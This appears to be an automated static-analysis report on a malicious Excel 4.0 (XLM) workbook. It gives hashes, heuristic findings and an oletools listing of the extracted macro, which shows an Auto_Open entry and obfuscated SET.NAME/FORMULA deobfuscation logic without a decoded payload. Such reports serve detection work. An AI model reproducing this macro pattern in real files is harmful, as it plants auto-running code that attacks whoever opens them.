Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c443168b167814e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:13 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: d100684a536374921f558b9219941561 SHA-1: f8f915fc99ab16b96232fabc79ed23456ad14840 SHA-256: 6c443168b167814e9e64761ff807a6ecdf9ccb54dc5478a0faf49446a77f923a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6453 bytes
SHA-256: 3b88e97db8e243637773a952385579074abca1e943bdf3eae79babf76893669a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HWquK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A155 
' 0018     20 LABEL : Cell Value, String Constant - BGzGo len=0 
' 0018     24 LABEL : Cell Value, String Constant - cmyRfctsG len=0 
' 0018     22 LABEL : Cell Value, String Constant - FadNzEP len=0 
' 0018     23 LABEL : Cell Value, String Constant - HUMJBcqL len=0 
' 0018     22 LABEL : Cell Value, String Constant - HURQhKV len=0 
' 0018     25 LABEL : Cell Value, String Constant - iITaGstKxQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - JsqMIBSh len=0 
' 0018     27 LABEL : Cell Value, String Constant - KARqHaptgLNd len=0 
' 0018     21 LABEL : Cell Value, String Constant - koAIIj len=0 
' 0018     21 LABEL : Cell Value, String Constant - LmTRMK len=0 
' 0018     21 LABEL : Cell Value, String Constant - MBnANm len=0 
' 0018     20 LABEL : Cell Value, String Constant - mHHPF len=0 
' 0018     21 LABEL : Cell Value, String Constant - mNzaEj len=0 
' 0018     21 LABEL : Cell Value, String Constant - nxlXWr len=0 
' 0018     21 LABEL : Cell Value, String Constant - qcYUyb len=0 
' 0018     26 LABEL : Cell Value, String Constant - qklJlMuAJEE len=0 
' 0018     24 LABEL : Cell Value, String Constant - qzRFjsNbF len=0 
' 0018     20 LABEL : Cell Value, String Constant - SlQXO len=0 
' 0018     27 LABEL : Cell Value, String Constant - sTIIGHTciDpO len=0 
' 0018     25 LABEL : Cell Value, String Constant - uGHQbFWmPq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HWquK,A62,"SET.NAME("uGHQbFWmPq",VALUE("0"))",""
'  HWquK,A65,"SET.NAME("LmTRMK",uGHQbFWmPq)",""
'  HWquK,A70,"SET.NAME("mNzaEj",uGHQbFWmPq)",""
'  HWquK,A72,"SET.NAME("KARqHaptgLNd",COUNTA(HURQhKV))",""
'  HWquK,A75,"SET.NAME("iITaGstKxQ",COUNTA(SlQXO))",""
'  HWquK,A79,[],""
'  HWquK,A81,"SET.NAME("sTIIGHTciDpO","")",""
'  HWquK,A86,"LmTRMK",""
'  HWquK,A88,"SET.NAME("JsqMIBSh",HLOOKUP("*",HURQhKV,LmTRMK,FALSE))",""
'  HWquK,A93,"mHHPF",""
'  HWquK,A97,"SET.NAME("qklJlMuAJEE",uGHQbFWmPq)",""
'  HWquK,A102,[],""
'  HWquK,A107,"qklJlMuAJEE",""
'  HWquK,A110,"qzRFjsNbF",""
'  HWquK,A115,"qcYUyb",""
'  HWquK,A118,"FadNzEP",""
'  HWquK,A120,"SET.NAME("MBnANm",VALUE(HLOOKUP("*",SlQXO,FadNzEP,FALSE)))",""
'  HWquK,A123,"koAIIj",""
'  HWquK,A128,"sTIIGHTciDpO",""
'  HWquK,A133,"mNzaEj",""
'  HWquK,A138,NEXT(),""
'  HWquK,A140,"nxlXWr",""
'  HWquK,A145,"SET.NAME("f",INT(T(FORMULA(T(sTIIGHTciDpO)&"",""&T(nxlXWr)))))",""
'  HWquK,A148,"BGzGo",""
'  HWquK,A150,NEXT(),""
'  HWquK,A153,RETURN(),""
'  HWquK,A183,"SET.NAME("HUMJBcqL",A62)",""
'  HWquK,A187,"HURQhKV",""
'  HWquK,A192,"SET.NAME("SlQXO",R44C12)",""
'  HWquK,A194,"SET.NAME("BGzGo",201)",""
'  HWquK,A197,"SET.NAME("cmyRfctsG",1)",""
'  HWquK,A200,HUMJBcqL(),""
'  HWquK,A201,HALT(),""

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